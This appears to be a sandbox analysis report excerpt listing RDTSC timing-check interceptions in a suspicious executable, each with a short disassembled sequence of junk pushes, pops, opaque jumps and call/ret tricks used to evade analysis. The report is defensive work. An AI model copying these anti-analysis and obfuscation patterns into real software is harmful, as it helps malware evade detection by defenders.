Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F43C second address: 93F4F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0CB38C8h 0x00000009 popad 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F9FD0CB38C7h 0x00000014 pop eax 0x00000015 mov ecx, edx 0x00000017 push 00000003h 0x00000019 xor esi, dword ptr [ebp+122D2D15h] 0x0000001f push 00000000h 0x00000021 push 00000000h 0x00000023 push ebx 0x00000024 call 00007F9FD0CB38B8h 0x00000029 pop ebx 0x0000002a mov dword ptr [esp+04h], ebx 0x0000002e add dword ptr [esp+04h], 00000014h 0x00000036 inc ebx 0x00000037 push ebx 0x00000038 ret 0x00000039 pop ebx 0x0000003a ret 0x0000003b push 00000003h 0x0000003d jbe 00007F9FD0CB38BCh 0x00000043 mov esi, dword ptr [ebp+122D2E39h] 0x00000049 push 9546703Ch 0x0000004e jmp 00007F9FD0CB38BBh 0x00000053 add dword ptr [esp], 2AB98FC4h 0x0000005a call 00007F9FD0CB38BFh 0x0000005f or edi, 353042C3h 0x00000065 pop edi 0x00000066 lea ebx, dword ptr [ebp+1244505Dh] 0x0000006c mov di, bx 0x0000006f push eax 0x00000070 jc 00007F9FD0CB38C8h 0x00000076 push eax 0x00000077 push edx 0x00000078 jno 00007F9FD0CB38B6h 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F4F1 second address: 93F4F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F54C second address: 93F57B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9FD0CB38C7h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jnl 00007F9FD0CB38B8h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F9FD0CB38B6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F57B second address: 93F57F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F57F second address: 93F5E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F9FD0CB38B8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 jmp 00007F9FD0CB38C1h 0x00000027 push 00000000h 0x00000029 jmp 00007F9FD0CB38BFh 0x0000002e call 00007F9FD0CB38B9h 0x00000033 jmp 00007F9FD0CB38BBh 0x00000038 push eax 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F5E1 second address: 93F5F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9FD0EA45B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F9FD0EA45BCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F5F3 second address: 93F605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jnp 00007F9FD0CB38BEh 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F605 second address: 93F61A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9FD0EA45BBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F61A second address: 93F69E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9FD0CB38B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F9FD0CB38B8h 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 pushad 0x00000016 jmp 00007F9FD0CB38BCh 0x0000001b jmp 00007F9FD0CB38C8h 0x00000020 popad 0x00000021 pop eax 0x00000022 jmp 00007F9FD0CB38C2h 0x00000027 push 00000003h 0x00000029 call 00007F9FD0CB38C1h 0x0000002e or dword ptr [ebp+122D3920h], edi 0x00000034 pop esi 0x00000035 push 00000000h 0x00000037 mov dword ptr [ebp+122D3AF9h], edx 0x0000003d push 00000003h 0x0000003f and edx, dword ptr [ebp+122D2D6Dh] 0x00000045 push B71BF7A2h 0x0000004a push esi 0x0000004b push eax 0x0000004c push edx 0x0000004d push esi 0x0000004e pop esi 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F69E second address: 93F6D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 add dword ptr [esp], 08E4085Eh 0x0000000e jc 00007F9FD0EA45B9h 0x00000014 movsx ecx, bx 0x00000017 lea ebx, dword ptr [ebp+12445068h] 0x0000001d jns 00007F9FD0EA45B6h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 jmp 00007F9FD0EA45C1h 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F6D8 second address: 93F6DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951BF2 second address: 951BF8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DAEF second address: 95DAF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DC98 second address: 95DC9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95DF5E second address: 95DFA2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9FD0CB38B8h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F9FD0CB38BDh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F9FD0CB38BEh 0x0000001a jmp 00007F9FD0CB38C7h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E114 second address: 95E130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F9FD0EA45C2h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E287 second address: 95E2B0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9FD0CB38C9h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F9FD0CB38D8h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E58C second address: 95E59C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jg 00007F9FD0EA45B6h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E59C second address: 95E5A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95E5A0 second address: 95E5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D904 second address: 92D909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D909 second address: 92D91C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9FD0EA45BEh 0x00000008 jng 00007F9FD0EA45B6h 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D91C second address: 92D935 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jnc 00007F9FD0CB38B6h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 ja 00007F9FD0CB38B6h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D935 second address: 92D93D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92D93D second address: 92D941 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95EBD6 second address: 95EBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45BEh 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F1D2 second address: 95F1E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F817 second address: 95F821 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9FD0EA45B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F821 second address: 95F83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F9FD0CB38BCh 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F83C second address: 95F840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95F840 second address: 95F861 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0CB38BFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jng 00007F9FD0CB38BCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 961A65 second address: 961AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45C4h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b jnc 00007F9FD0EA45B6h 0x00000011 popad 0x00000012 popad 0x00000013 jng 00007F9FD0EA45DFh 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007F9FD0EA45B6h 0x00000021 jmp 00007F9FD0EA45BFh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965D14 second address: 965D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B474 second address: 96B487 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 jns 00007F9FD0EA45B6h 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96B487 second address: 96B4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F9FD0CB38C9h 0x0000000f jmp 00007F9FD0CB38C1h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BCE4 second address: 96BD11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0EA45C4h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F9FD0EA45BFh 0x0000000e jng 00007F9FD0EA45B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DDB9 second address: 96DDBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DE58 second address: 96DE5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DE5C second address: 96DE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a jmp 00007F9FD0CB38BAh 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DE71 second address: 96DE8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9FD0EA45C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96DE8A second address: 96DEEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F9FD0CB38C5h 0x00000014 mov eax, dword ptr [eax] 0x00000016 js 00007F9FD0CB38CFh 0x0000001c push esi 0x0000001d jmp 00007F9FD0CB38C7h 0x00000022 pop esi 0x00000023 mov dword ptr [esp+04h], eax 0x00000027 push eax 0x00000028 pushad 0x00000029 jo 00007F9FD0CB38B6h 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E9E8 second address: 96E9ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96E9ED second address: 96E9F2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96EFBF second address: 96EFC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96FD60 second address: 96FD66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970F0B second address: 970F94 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F9FD0EA45BCh 0x0000000c jno 00007F9FD0EA45B6h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F9FD0EA45B8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D2703h] 0x00000034 push 00000000h 0x00000036 mov edi, dword ptr [ebp+122D3938h] 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F9FD0EA45B8h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 00000014h 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 add edi, dword ptr [ebp+122D2DE1h] 0x0000005e mov esi, dword ptr [ebp+122D3A8Ah] 0x00000064 xchg eax, ebx 0x00000065 jmp 00007F9FD0EA45C6h 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e jnp 00007F9FD0EA45B6h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9706A8 second address: 9706C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9706C3 second address: 9706CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9706CA second address: 9706EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9FD0CB38C5h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97241E second address: 972498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45BBh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push ebx 0x0000000d jp 00007F9FD0EA45C6h 0x00000013 pop ebx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F9FD0EA45B8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2AA1h], eax 0x00000035 push 00000000h 0x00000037 cld 0x00000038 push 00000000h 0x0000003a mov edi, dword ptr [ebp+122D2E11h] 0x00000040 xchg eax, ebx 0x00000041 jmp 00007F9FD0EA45C5h 0x00000046 push eax 0x00000047 pushad 0x00000048 pushad 0x00000049 je 00007F9FD0EA45B6h 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 972F57 second address: 972FE7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9FD0CB38B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c jo 00007F9FD0CB38BCh 0x00000012 jg 00007F9FD0CB38B6h 0x00000018 pop ebx 0x00000019 nop 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F9FD0CB38B8h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Bh 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 pushad 0x00000035 mov ebx, edi 0x00000037 xor dword ptr [ebp+1244B0D9h], ebx 0x0000003d popad 0x0000003e push 00000000h 0x00000040 mov dword ptr [ebp+122D2E75h], edi 0x00000046 push 00000000h 0x00000048 push 00000000h 0x0000004a push esi 0x0000004b call 00007F9FD0CB38B8h 0x00000050 pop esi 0x00000051 mov dword ptr [esp+04h], esi 0x00000055 add dword ptr [esp+04h], 00000017h 0x0000005d inc esi 0x0000005e push esi 0x0000005f ret 0x00000060 pop esi 0x00000061 ret 0x00000062 mov edi, dword ptr [ebp+122D2BFDh] 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F9FD0CB38C5h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 973A6D second address: 973B0A instructions: 0x00000000 rdtsc 0x00000002 js 00007F9FD0EA45CAh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F9FD0EA45B8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 push 00000000h 0x00000029 pushad 0x0000002a xor eax, 50BC88A2h 0x00000030 mov bh, 29h 0x00000032 popad 0x00000033 and edi, dword ptr [ebp+122D2C59h] 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edi 0x0000003e call 00007F9FD0EA45B8h 0x00000043 pop edi 0x00000044 mov dword ptr [esp+04h], edi 0x00000048 add dword ptr [esp+04h], 00000014h 0x00000050 inc edi 0x00000051 push edi 0x00000052 ret 0x00000053 pop edi 0x00000054 ret 0x00000055 mov dword ptr [ebp+124500DEh], ebx 0x0000005b xchg eax, ebx 0x0000005c jmp 00007F9FD0EA45BCh 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F9FD0EA45C9h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 975CB7 second address: 975CD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F9FD0CB38B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 976250 second address: 976255 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97715B second address: 9771CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F9FD0CB38BFh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F9FD0CB38B8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a cld 0x0000002b push 00000000h 0x0000002d xor ebx, 4B6EA538h 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F9FD0CB38B8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 00000017h 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f or dword ptr [ebp+122D20DFh], ecx 0x00000055 clc 0x00000056 xchg eax, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9771CB second address: 9771E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9FD0EA45C9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 979139 second address: 9791A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F9FD0CB38B8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push ebx 0x00000028 call 00007F9FD0CB38B8h 0x0000002d pop ebx 0x0000002e mov dword ptr [esp+04h], ebx 0x00000032 add dword ptr [esp+04h], 00000019h 0x0000003a inc ebx 0x0000003b push ebx 0x0000003c ret 0x0000003d pop ebx 0x0000003e ret 0x0000003f or edi, 1B3EAF38h 0x00000045 push 00000000h 0x00000047 add dword ptr [ebp+122D319Dh], edx 0x0000004d xchg eax, esi 0x0000004e pushad 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F9FD0CB38BDh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97A2E0 second address: 97A2E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97932D second address: 979336 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9793E8 second address: 9793EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9793EC second address: 979421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jne 00007F9FD0CB38B8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9FD0CB38BFh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D2EC second address: 97D2F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D2F0 second address: 97D2F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97F1B8 second address: 97F1BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97F1BC second address: 97F1D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9FD0CB38BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F9FD0CB38B8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9801D4 second address: 9801DA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9801DA second address: 9801DF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97F369 second address: 97F387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jmp 00007F9FD0EA45C4h 0x0000000e pop eax 0x0000000f rdtsc
